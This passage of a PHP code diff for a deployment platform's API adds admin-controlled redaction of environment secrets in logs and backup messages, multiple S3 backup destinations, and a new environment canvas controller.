'nullable' => true, 'description' => 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.'], 'is_raw_compose_deployment_enabled' => ['type' => 'boolean', 'description' => 'Deploy the raw Docker Compose definition.'], 'is_log_drain_enabled' => ['type' => 'boolean', 'description' => 'Enable log drain for the application.'], 'is_gpu_enabled' => ['type' => 'boolean', 'description' => 'Enable GPU support.'], @@ -1160,11 +1173,13 @@ class ApplicationsController extends Controller 'inject_build_args_to_dockerfile' => ['type' => 'boolean', 'description' => 'Inject build arguments into the Dockerfile build.'], 'include_source_commit_in_build' => ['type' => 'boolean', 'description' => 'Include the source commit in the build.'], 'is_env_sorting_enabled' => ['type' => 'boolean', 'description' => 'Sort environment variables.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.'], 'is_pr_deployments_public_enabled' => ['type' => 'boolean', 'description' => 'Make pull request deployments public.'], 'stop_grace_period' => ['type' => 'integer', 'nullable' => true, 'minimum' => 1, 'maximum' => 3600, 'description' => 'Container stop grace period in seconds.'], 'docker_images_to_keep' => ['type' => 'integer', 'minimum' => 0, 'maximum' => 100, 'description' => 'Number of Docker images to retain.'], 'is_gzip_enabled' => ['type' => 'boolean', 'description' => 'Enable gzip compression.'], 'is_stripprefix_enabled' => ['type' => 'boolean', 'description' => 'Enable path prefix stripping.'], + 'traefik_certificate_resolver' => ['type' => 'string', 'nullable' => true, 'description' => 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.'], 'is_raw_compose_deployment_enabled' => ['type' => 'boolean', 'description' => 'Deploy the raw Docker Compose definition.'], 'is_log_drain_enabled' => ['type' => 'boolean', 'description' => 'Enable log drain for the application.'], 'is_gpu_enabled' => ['type' => 'boolean', 'description' => 'Enable GPU support.'], @@ -2692,7 +2707,10 @@ class ApplicationsController extends Controller $lines = normalizeLogLines($request->query('lines')); $showTimestamps = parseLogTimestampFlag($request->query('show_timestamps')); - $logs = getContainerLogs($application->destination->server, $container['ID'], $lines, $showTimestamps); + $logs = sanitizeLogsForExport( + getContainerLogs($application->destination->server, $container['ID'], $lines, $showTimestamps), + EnvironmentVariable::logRedactionSecretsFor($application, includePreview: $pullRequestId !== null), + ); return response()->json([ 'logs' => $logs, @@ -3164,11 +3182,13 @@ class ApplicationsController extends Controller 'inject_build_args_to_dockerfile' => ['type' => 'boolean', 'description' => 'Inject build arguments into the Dockerfile build.'], 'include_source_commit_in_build' => ['type' => 'boolean', 'description' => 'Include the source commit in the build.'], 'is_env_sorting_enabled' => ['type' => 'boolean', 'description' => 'Sort environment variables.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.'], 'is_pr_deployments_public_enabled' => ['type' => 'boolean', 'description' => 'Make pull request deployments public.'], 'stop_grace_period' => ['type' => 'integer', 'nullable' => true, 'minimum' => 1, 'maximum' => 3600, 'description' => 'Container stop grace period in seconds.'], 'docker_images_to_keep' => ['type' => 'integer', 'minimum' => 0, 'maximum' => 100, 'description' => 'Number of Docker images to retain.'], 'is_gzip_enabled' => ['type' => 'boolean', 'description' => 'Enable gzip compression.'], 'is_stripprefix_enabled' => ['type' => 'boolean', 'description' => 'Enable path prefix stripping.'], + 'traefik_certificate_resolver' => ['type' => 'string', 'nullable' => true, 'description' => 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.'], 'is_raw_compose_deployment_enabled' => ['type' => 'boolean', 'description' => 'Deploy the raw Docker Compose definition.'], 'is_log_drain_enabled' => ['type' => 'boolean', 'description' => 'Enable log drain for the application.'], 'is_gpu_enabled' => ['type' => 'boolean', 'description' => 'Enable GPU support.'], @@ -3269,6 +3289,10 @@ class ApplicationsController extends Controller $this->authorize('update', $application); + if ($request->has('redact_all_env_values_in_logs')) { + $this->authorize('manageEnvironment', $application); + } + if ($request->instant_deploy) { abort_unless($request->user()->tokenCan('deploy') || $request->user()->tokenCan('root'), 403, 'Missing required permissions: deploy'); $this->authorize('deploy', $application); @@ -4092,7 +4116,7 @@ class ApplicationsController extends Controller $is_shown_once = $item->get('is_shown_once') ?? false; $key = str($item->get('key'))->trim()->replace(' ', '_')->value; if ($is_preview) { - $env = $application->environment_variables_preview->where('key', $key)->first(); + $env = $application->environment_variables_preview()->where('key', $key)->first(); if ($env) { $env->value = $item->get('value'); @@ -4131,7 +4155,7 @@ class ApplicationsController extends Controller ]); } } else { - $env = $application->environment_variables->where('key', $key)->first(); + $env = $application->environment_variables()->where('key', $key)->first(); if ($env) { $env->value = $item->get('value'); if ($env->is_literal != $is_literal) { @@ -4964,8 +4988,8 @@ class ApplicationsController extends Controller ], ], 422); } - $customLabels = base64_decode($request->custom_labels); - if (mb_detect_encoding($customLabels, 'UTF-8', true) === false) { + $customLabels = decodeBase64EncodedLabels($request->custom_labels); + if ($customLabels === null) { return response()->json([ 'message' => 'Validation failed.', 'errors' => [ @@ -4973,6 +4997,7 @@ class ApplicationsController extends Controller ], ], 422); } + $request->offsetSet('custom_labels', base64_encode($customLabels)); } if ($request->has('domains') && $server->isProxyShouldRun()) { $uuid = $request->uuid; diff --git a/app/Http/Controllers/Api/Concerns/HandlesTagsApi.php b/app/Http/Controllers/Api/Concerns/HandlesTagsApi.php index 4c15d0726d..80f11802be 100644 --- a/app/Http/Controllers/Api/Concerns/HandlesTagsApi.php +++ b/app/Http/Controllers/Api/Concerns/HandlesTagsApi.php @@ -121,8 +121,8 @@ trait HandlesTagsApi return response()->json(['message' => 'Tag not found on resource.'], 404); } + // The tag stays, also without resources. $resource->tags()->detach($tag->id); - $tag->deleteIfOrphaned(); return response()->json(['message' => 'Tag removed.']); } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index d71b64563b..fd7c53e90a 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -18,6 +18,7 @@ use App\Models\LocalPersistentVolume; use App\Models\Project; use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; +use App\Models\ScheduledDatabaseBackupExecution; use App\Models\Server; use App\Models\StandaloneDocker; use App\Models\StandaloneDragonfly; @@ -32,6 +33,8 @@ use Illuminate\Database\Eloquent\Collection as EloquentCollection; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; +use Illuminate\Support\Arr; +use Illuminate\Support\Collection; use Illuminate\Support\Facades\Bus; use Illuminate\Support\Facades\DB; use OpenApi\Attributes as OA; @@ -152,6 +155,58 @@ class DatabasesController extends Controller } } + /** + * Resolves the S3 destinations of a backup request, primary first. `s3_storage_uuids` lists every destination; + * `s3_storage_uuid` alone selects a single destination, and sent with `s3_storage_uuids` it must be in the list and + * becomes the primary destination. + * + * @return Collection|JsonResponse|null Null when the request does not select destinations. + */ + private function requestedBackupS3Storages(Request $request, int|string $teamId): Collection|JsonResponse|null + { + $hasList = $request->has('s3_storage_uuids'); + if (! $hasList && ! $request->filled('s3_storage_uuid')) { + return null; + } + + $uuids = collect($hasList ? $request->input('s3_storage_uuids') : [$request->input('s3_storage_uuid')])->unique()->values(); + $primaryUuid = $request->input('s3_storage_uuid') ?? $uuids->first(); + $errorField = $hasList ? 's3_storage_uuids' : 's3_storage_uuid'; + + if (filled($primaryUuid) && ! $uuids->contains($primaryUuid)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid must be one of the s3_storage_uuids.']], + ], 422); + } + + $storages = S3Storage::ownedByCurrentTeamAPI($teamId)->whereIn('uuid', $uuids->all())->get(); + if ($storages->count() !== $uuids->count()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [$errorField => ['The selected S3 storage is invalid for this team.']], + ], 422); + } + + return $storages->sortBy(fn (S3Storage $storage): int => $storage->uuid === $primaryUuid ? 0 : 1)->values(); + } + + /** + * Adds the S3 destination UUIDs (primary first) to a serialized backup without exposing the storages themselves. + */ + private function withBackupS3StorageUuids(ScheduledDatabaseBackup $backup): ScheduledDatabaseBackup + { + $storages = $backup->s3Storages->sortBy(fn (S3Storage $storage): int => $storage->id === $backup->s3_storage_id ? 0 : 1); + if ($storages->isEmpty() && $backup->s3) { + $storages = collect([$backup->s3]); + } + + $backup->setAttribute('s3_storage_uuid', $backup->s3?->uuid); + $backup->setAttribute('s3_storage_uuids', $storages->pluck('uuid')->values()->all()); + + return $backup->unsetRelation('s3Storages')->unsetRelation('s3'); + } + private function removeSensitiveData($database, bool $loadNestedServerSecrets = false) { $database->makeHidden([ @@ -301,10 +356,19 @@ class DatabasesController extends Controller } $databaseIds = $databases->pluck('id')->toArray(); + $databasesByMorphKey = $databases->keyBy(fn ($database) => $database->getMorphClass().':'.$database->id); + $messageSecrets = []; - $backupConfigs = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->with('latest_log') + $backupConfigs = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->with(['latest_log', 's3', 's3Storages']) ->whereIn('database_id', $databaseIds) ->get() + ->map(function (ScheduledDatabaseBackup $backup) use ($databasesByMorphKey, &$messageSecrets): ScheduledDatabaseBackup { + if ($backup->latest_log) { + $this->redactBackupExecutionMessage($backup->latest_log, $databasesByMorphKey->get($backup->database_type.':'.$backup->database_id), $messageSecrets); + } + + return $this->withBackupS3StorageUuids($backup); + }) ->groupBy(fn (ScheduledDatabaseBackup $backup) => $backup->database_type.':'.$backup->database_id); $databases = $databases->map(function ($database) use ($backupConfigs) { @@ -340,7 +404,7 @@ class DatabasesController extends Controller responses: [ new OA\Response( response: 200, - description: 'Get all backups for a database', + description: 'Get all backups for a database. Each backup includes s3_storage_uuid (primary S3 destination) and s3_storage_uuids (every S3 destination, primary first).', content: new OA\JsonContent( type: 'string', example: 'Content is very complex. Will be implemented later.', @@ -376,7 +440,15 @@ class DatabasesController extends Controller $this->authorize('view', $database); - $backupConfig = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->with('executions')->where('database_id', $database->id)->get(); + $messageSecrets = []; + $backupConfig = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->with(['executions', 's3', 's3Storages'])->where('database_id', $database->id)->get() + ->map(function (ScheduledDatabaseBackup $backup) use ($database, &$messageSecrets): ScheduledDatabaseBackup { + $backup->executions->each(function (ScheduledDatabaseBackupExecution $execution) use ($database, &$messageSecrets): void { + $this->redactBackupExecutionMessage($execution, $database, $messageSecrets); + }); + + return $this->withBackupS3StorageUuids($backup); + }); return response()->json($backupConfig); } @@ -517,6 +589,7 @@ class DatabasesController extends Controller 'health_check_timeout' => ['type' => 'integer', 'description' => 'Healthcheck timeout in seconds.', 'minimum' => 1, 'default' => 5], 'health_check_retries' => ['type' => 'integer', 'description' => 'Healthcheck retries count.', 'minimum' => 1, 'default' => 5], 'health_check_start_period' => ['type' => 'integer', 'description' => 'Healthcheck start period in seconds.', 'minimum' => 0, 'default' => 5], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values, database passwords, and remote secrets are redacted. Requires team admin permissions.'], ], ), ) @@ -571,6 +644,7 @@ class DatabasesController extends Controller 'limits_cpus' => 'string', 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', + 'redact_all_env_values_in_logs' => 'boolean', ]); if ($validator->fails()) { @@ -580,6 +654,7 @@ class DatabasesController extends Controller ], 422); } $uuid = $request->uuid; + $redactAllEnvValuesInLogs = $request->has('redact_all_env_values_in_logs') ? $request->boolean('redact_all_env_values_in_logs') : null; removeUnnecessaryFieldsFromRequest($request); $database = queryDatabaseByUuidWithinTeam($uuid, $teamId); if (! $database) { @@ -588,6 +663,10 @@ class DatabasesController extends Controller $this->authorize('update', $database); + if ($redactAllEnvValuesInLogs !== null) { + $this->authorize('manageEnvironment', $database); + } + if ($request->is_public && $request->public_port) { if (isPublicPortAlreadyUsed($database->destination->server, $request->public_port, $database->id)) { return response()->json(['message' => 'Public port already used by another database.'], 400); @@ -820,6 +899,9 @@ class DatabasesController extends Controller } // Only update database fields, not backup configuration + if ($redactAllEnvValuesInLogs !== null) { + $database->redact_all_env_values_in_logs = $redactAllEnvValuesInLogs; + } $database->update($request->only($allowedFields)); if ($whatToDoWithDatabaseProxy === 'start') { @@ -833,7 +915,10 @@ class DatabasesController extends Controller 'database_uuid' => $database->uuid, 'database_name' => $database->name, 'database_type' => $database->type(), - 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($request->all()))), + 'changed_fields' => [ + ...array_values(array_intersect($allowedFields, array_keys($request->all()))), + ...($redactAllEnvValuesInLogs === null ? [] : ['redact_all_env_values_in_logs']), + ], ]); return response()->json([ @@ -873,7 +958,8 @@ class DatabasesController extends Controller 'frequency' => ['type' => 'string', 'description' => 'Backup frequency (cron expression or: every_minute, hourly, daily, weekly, monthly, yearly)'], 'enabled' => ['type' => 'boolean', 'description' => 'Whether the backup is enabled', 'default' => true], 'save_s3' => ['type' => 'boolean', 'description' => 'Whether to save backups to S3', 'default' => false], - 's3_storage_uuid' => ['type' => 'string', 'description' => 'S3 storage UUID (required if save_s3 is true)'], + 's3_storage_uuid' => ['type' => 'string', 'description' => 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination. Either field is required if save_s3 is true.'], + 's3_storage_uuids' => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination.'], 'databases_to_backup' => ['type' => 'string', 'description' => 'Comma separated list of databases to backup'], 'dump_all' => ['type' => 'boolean', 'description' => 'Whether to dump all databases', 'default' => false], 'backup_now' => ['type' => 'boolean', 'description' => 'Whether to trigger backup immediately after creation'], @@ -921,7 +1007,7 @@ class DatabasesController extends Controller )] public function create_backup(Request $request) { - $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 'timeout', 'missing_backup_notification_days']; + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 's3_storage_uuids', 'timeout', 'missing_backup_notification_days']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -941,6 +1027,8 @@ class DatabasesController extends Controller 'dump_all' => 'boolean', 'backup_now' => 'boolean|nullable', 's3_storage_uuid' => 'string|exists:s3_storages,uuid|nullable', + 's3_storage_uuids' => 'array', + 's3_storage_uuids.*' => 'string|distinct', 'databases_to_backup' => 'string|nullable', 'database_backup_retention_amount_locally' => 'integer|min:0', 'database_backup_retention_days_locally' => 'integer|min:0', @@ -986,24 +1074,17 @@ class DatabasesController extends Controller ], 422); } - // Validate S3 storage if save_s3 is true - if ($request->boolean('save_s3') && ! $request->filled('s3_storage_uuid')) { + $s3Storages = $this->requestedBackupS3Storages($request, $teamId); + if ($s3Storages instanceof JsonResponse) { + return $s3Storages; + } + if ($request->boolean('save_s3') && blank($s3Storages)) { return response()->json([ 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid field is required when save_s3 is true.']], + 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid or s3_storage_uuids field is required when save_s3 is true.']], ], 422); } - if ($request->filled('s3_storage_uuid')) { - $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists(); - if (! $existsInTeam) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], - ], 422); - } - } - // Check for extra fields $extraFields = array_diff(array_keys($request->all()), $backupConfigFields, ['backup_now']); if (! empty($extraFields)) { @@ -1018,20 +1099,9 @@ class DatabasesController extends Controller ], 422); } - $backupData = $request->only($backupConfigFields); - - // Convert s3_storage_uuid to s3_storage_id - if (isset($backupData['s3_storage_uuid'])) { - $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first(); - if ($s3Storage) { - $backupData['s3_storage_id'] = $s3Storage->id; - } elseif ($request->boolean('save_s3')) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], - ], 422); - } - unset($backupData['s3_storage_uuid']); + $backupData = Arr::except($request->only($backupConfigFields), ['s3_storage_uuid', 's3_storage_uuids']); + if ($s3Storages !== null) { + $backupData['s3_storage_id'] = $s3Storages->first()?->id; } // Set default databases_to_backup based on database type if not provided @@ -1070,6 +1140,9 @@ class DatabasesController extends Controller } $backupConfig = ScheduledDatabaseBackup::create($backupData); + if ($s3Storages !== null) { + $backupConfig->syncS3Storages($s3Storages->pluck('id')->all()); + } // Trigger immediate backup if requested if ($request->backup_now) { @@ -1129,7 +1202,8 @@ class DatabasesController extends Controller type: 'object', properties: [ 'save_s3' => ['type' => 'boolean', 'description' => 'Whether data is saved in s3 or not'], - 's3_storage_uuid' => ['type' => 'string', 'description' => 'S3 storage UUID'], + 's3_storage_uuid' => ['type' => 'string', 'description' => 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination; when it is already a destination, it becomes the primary destination and the other destinations stay.'], + 's3_storage_uuids' => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination.'], 'backup_now' => ['type' => 'boolean', 'description' => 'Whether to take a backup now or not'], 'enabled' => ['type' => 'boolean', 'description' => 'Whether the backup is enabled or not'], 'databases_to_backup' => ['type' => 'string', 'description' => 'Comma separated list of databases to backup'], @@ -1172,7 +1246,7 @@ class DatabasesController extends Controller )] public function update_backup(Request $request) { - $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 'timeout', 'missing_backup_notification_days']; + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 's3_storage_uuids', 'timeout', 'missing_backup_notification_days']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -1189,6 +1263,8 @@ class DatabasesController extends Controller 'enabled' => 'boolean', 'dump_all' => 'boolean', 's3_storage_uuid' => 'string|exists:s3_storages,uuid|nullable', + 's3_storage_uuids' => 'array', + 's3_storage_uuids.*' => 'string|distinct', 'databases_to_backup' => 'string|nullable', 'frequency' => 'string', 'database_backup_retention_amount_locally' => 'integer|min:0', @@ -1236,20 +1312,9 @@ class DatabasesController extends Controller } } - if ($request->boolean('save_s3') && ! $request->filled('s3_storage_uuid')) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid field is required when save_s3 is true.']], - ], 422); - } - if ($request->filled('s3_storage_uuid')) { - $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists(); - if (! $existsInTeam) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], - ], 422); - } + $s3Storages = $this->requestedBackupS3Storages($request, $teamId); + if ($s3Storages instanceof JsonResponse) { + return $s3Storages; } $backupConfig = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->where('database_id', $database->id) @@ -1259,6 +1324,14 @@ class DatabasesController extends Controller return response()->json(['message' => 'Backup config not found.'], 404); } + $saveToS3 = $request->has('save_s3') ? $request->boolean('save_s3') : (bool) $backupConfig->save_s3; + if (($request->boolean('save_s3') && $s3Storages === null) || ($saveToS3 && $s3Storages?->isEmpty())) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid or s3_storage_uuids field is required when save_s3 is true.']], + ], 422); + } + $extraFields = array_diff(array_keys($request->all()), $backupConfigFields, ['backup_now']); if (! empty($extraFields)) { $errors = $validator->errors(); @@ -1272,20 +1345,9 @@ class DatabasesController extends Controller ], 422); } - $backupData = $request->only($backupConfigFields); - - // Convert s3_storage_uuid to s3_storage_id - if (isset($backupData['s3_storage_uuid'])) { - $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first(); - if ($s3Storage) { - $backupData['s3_storage_id'] = $s3Storage->id; - } elseif ($request->boolean('save_s3')) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], - ], 422); - } - unset($backupData['s3_storage_uuid']); + $backupData = Arr::except($request->only($backupConfigFields), ['s3_storage_uuid', 's3_storage_uuids']); + if ($s3Storages !== null) { + $backupData['s3_storage_id'] = $s3Storages->first()?->id; } // Validate databases_to_backup input @@ -1300,7 +1362,19 @@ class DatabasesController extends Controller } } + $storageIds = $s3Storages?->pluck('id'); + // An older client sends only s3_storage_uuid. When it is already a destination, the other destinations stay. + if ($storageIds !== null && ! $request->has('s3_storage_uuids')) { + $currentStorageIds = $backupConfig->selectedS3Storages()->pluck('id'); + if ($currentStorageIds->contains($storageIds->first())) { + $storageIds = $currentStorageIds; + } + } + $backupConfig->update($backupData); + if ($storageIds !== null) { + $backupConfig->syncS3Storages($storageIds->all()); + } if ($request->backup_now) { dispatch(new DatabaseBackupJob($backupConfig)); @@ -2738,7 +2812,10 @@ class DatabasesController extends Controller $lines = normalizeLogLines($request->query('lines')); $showTimestamps = parseLogTimestampFlag($request->query('show_timestamps')); - $logs = getContainerLogs($database->destination->server, $container['ID'], $lines, $showTimestamps); + $logs = sanitizeLogsForExport( + getContainerLogs($database->destination->server, $container['ID'], $lines, $showTimestamps), + EnvironmentVariable::logRedactionSecretsFor($database), + ); return response()->json([ 'logs' => $logs, @@ -2938,9 +3015,10 @@ class DatabasesController extends Controller if ($execution->filename) { deleteBackupsLocally($execution->filename, $database->destination->server); - if ($deleteS3 && $backup->s3) { - deleteBackupsS3($execution->filename, $backup->s3); - } + } + + if ($deleteS3) { + $execution->deleteS3Copies(); } $execution->delete(); @@ -3073,9 +3151,10 @@ class DatabasesController extends Controller if ($execution->filename) { deleteBackupsLocally($execution->filename, $database->destination->server); - if ($deleteS3 && $backup->s3) { - deleteBackupsS3($execution->filename, $backup->s3); - } + } + + if ($deleteS3) { + $execution->deleteS3Copies(); } $execution->delete(); @@ -3098,7 +3177,7 @@ class DatabasesController extends Controller #[OA\Get( summary: 'List backup executions', - description: 'Get all executions for a specific backup configuration.', + description: 'Get all executions for a specific backup configuration. The execution `message` is only returned (redacted) to tokens with the `read:sensitive` or `root` ability; otherwise it is `null`.', path: '/databases/{uuid}/backups/{scheduled_backup_uuid}/executions', operationId: 'list-backup-executions', security: [ @@ -3138,7 +3217,7 @@ class DatabasesController extends Controller new OA\Property(property: 'filename', type: 'string'), new OA\Property(property: 'size', type: 'integer'), new OA\Property(property: 'created_at', type: 'string'), - new OA\Property(property: 'message', type: 'string'), + new OA\Property(property: 'message', type: 'string', nullable: true, description: 'Redacted execution output. Null unless the token has the `read:sensitive` or `root` ability.'), new OA\Property(property: 'status', type: 'string'), ] ) @@ -3179,10 +3258,13 @@ class DatabasesController extends Controller } // Get all executions for this backup configuration + $messageSecrets = []; $executions = $backup->executions() ->orderBy('created_at', 'desc') ->get() - ->map(function ($execution) { + ->map(function ($execution) use ($database, &$messageSecrets) { + $this->redactBackupExecutionMessage($execution, $database, $messageSecrets); + return [ 'uuid' => $execution->uuid, 'filename' => $execution->filename, @@ -5195,7 +5277,7 @@ class DatabasesController extends Controller } foreach ($database->scheduledBackups()->get() as $backup) { - $backup->replicate([ + $newBackup = $backup->replicate([ 'id', 'created_at', 'updated_at', @@ -5205,7 +5287,9 @@ class DatabasesController extends Controller 'database_id' => $newDatabase->id, 'database_type' => $newDatabase->getMorphClass(), 'team_id' => $teamId, - ])->save(); + ]); + $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } foreach ($database->environment_variables()->get() as $environmentVariable) { @@ -5233,4 +5317,34 @@ class DatabasesController extends Controller 'message' => 'Database cloned.', ], 201); } + + /** + * Execution output can embed credentials: hide it unless the token can read sensitive data, and redact it when shown. + * The database secrets are loaded once per database and kept in $secretsByDatabase for the rest of the request. + * + * @param array, locked: array}|null> $secretsByDatabase + */ + private function redactBackupExecutionMessage(ScheduledDatabaseBackupExecution $execution, ?Model $database, array &$secretsByDatabase): void + { + $message = $execution->message; + if (request()->attributes->get('can_read_sensitive', false) !== true || ! is_string($message) || ! $database) { + $execution->setAttribute('message', null); + + return; + } + + $key = $database->getMorphClass().':'.$database->getKey(); + if (! array_key_exists($key, $secretsByDatabase)) { + try { + // Use a copy so the relations loaded for redaction do not end up in the response. + $secretsByDatabase[$key] = EnvironmentVariable::logRedactionSecretsFor(clone $database); + } catch (\Throwable $e) { + report($e); + $secretsByDatabase[$key] = null; + } + } + + // Without the database secrets the message cannot be redacted reliably, so hide it. + $execution->setAttribute('message', $secretsByDatabase[$key] === null ? null : sanitizeLogsForExport($message, $secretsByDatabase[$key])); + } } diff --git a/app/Http/Controllers/Api/EnvironmentCanvasController.php b/app/Http/Controllers/Api/EnvironmentCanvasController.php new file mode 100644 index 0000000000..338cbfee51 --- /dev/null +++ b/app/Http/Controllers/Api/EnvironmentCanvasController.php @@ -0,0 +1,264 @@ +findEnvironment($request); + if ($environment instanceof JsonResponse) { + return $environment; + } + $this->authorize('view', $environment); + + $user = $request->user(); + $token = $user->currentAccessToken(); + $canEdit = $user->isAdminOfTeam((int) $environment->project->team_id) + && ($token->can('root') || $token->can('write')); + + return response()->json($this->canvas->payload( + $environment, + canReadSensitive: (bool) $request->attributes->get('can_read_sensitive', false), + canEdit: $canEdit, + )); + } + + public function updatePositions(Request $request): JsonResponse + { + $environment = $this->findEnvironment($request); + if ($environment instanceof JsonResponse) { + return $environment; + } + $this->authorize('update', $environment); + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + $validator = Validator::make($request->all(), [ + 'positions' => ['present', 'array', 'max:'.self::MAX_POSITIONS], + ]); + if ($response = $this->validationFailedResponse($request, $validator, ['positions'])) { + return $response; + } + + $nodeUuids = $this->canvas->resourceIndex($environment)->keys()->all(); + $positions = collect($request->input('positions'))->only($nodeUuids)->all(); + + $coordinateRule = ['required', 'integer', 'between:-'.EnvironmentCanvas::MAX_COORDINATE.','.EnvironmentCanvas::MAX_COORDINATE]; + $validator = Validator::make(['positions' => $positions], [ + 'positions.*' => ['required', 'array'], + 'positions.*.x' => $coordinateRule, + 'positions.*.y' => $coordinateRule, + ]); + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $saved = DB::transaction(function () use ($environment, $positions, $nodeUuids) { + $locked = Environment::query()->lockForUpdate()->findOrFail($environment->id); + $merged = $this->canvas->filterPositions( + array_merge($locked->canvas_positions ?? [], $positions), + $nodeUuids, + ); + $locked->canvas_positions = $merged; + $locked->save(); + + return $merged; + }); + + return response()->json(['positions' => (object) $saved]); + } + + public function storeLink(Request $request): JsonResponse + { + $environment = $this->findEnvironment($request); + if ($environment instanceof JsonResponse) { + return $environment; + } + $this->authorize('update', $environment); + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + $validator = Validator::make($request->all(), [ + 'source' => ['required', 'string', 'max:255'], + 'target' => ['required', 'string', 'max:255', 'different:source'], + 'label' => ['nullable', 'string', 'max:64'], + ]); + if ($response = $this->validationFailedResponse($request, $validator, ['source', 'target', 'label'])) { + return $response; + } + + $resources = $this->canvas->resourceIndex($environment); + $source = $resources->get($request->input('source')); + $target = $resources->get($request->input('target')); + $errors = []; + if (! $source) { + $errors['source'] = ['The source must be a resource of this environment.']; + } + if (! $target) { + $errors['target'] = ['The target must be a resource of this environment.']; + } + if ($errors !== []) { + return response()->json(['message' => 'Validation failed.', 'errors' => $errors], 422); + } + + $attributes = [ + 'environment_id' => $environment->id, + 'source_type' => $source['type'], + 'source_id' => $source['id'], + 'target_type' => $target['type'], + 'target_id' => $target['id'], + ]; + $duplicate = ['message' => 'Validation failed.', 'errors' => ['target' => ['These resources are already linked.']]]; + if (ResourceLink::query()->where($attributes)->exists()) { + return response()->json($duplicate, 422); + } + + try { + $link = ResourceLink::create($attributes + [ + 'label' => $this->normalizeLabel($request->input('label')), + 'created_by' => $request->user()->id, + ]); + } catch (UniqueConstraintViolationException) { + return response()->json($duplicate, 422); + } + + return response()->json( + $this->canvas->linkPayload($link, $request->input('source'), $request->input('target')), + 201, + ); + } + + public function updateLink(Request $request): JsonResponse + { + $environment = $this->findEnvironment($request); + if ($environment instanceof JsonResponse) { + return $environment; + } + $this->authorize('update', $environment); + + $return = validateIncomingRequest($request); + 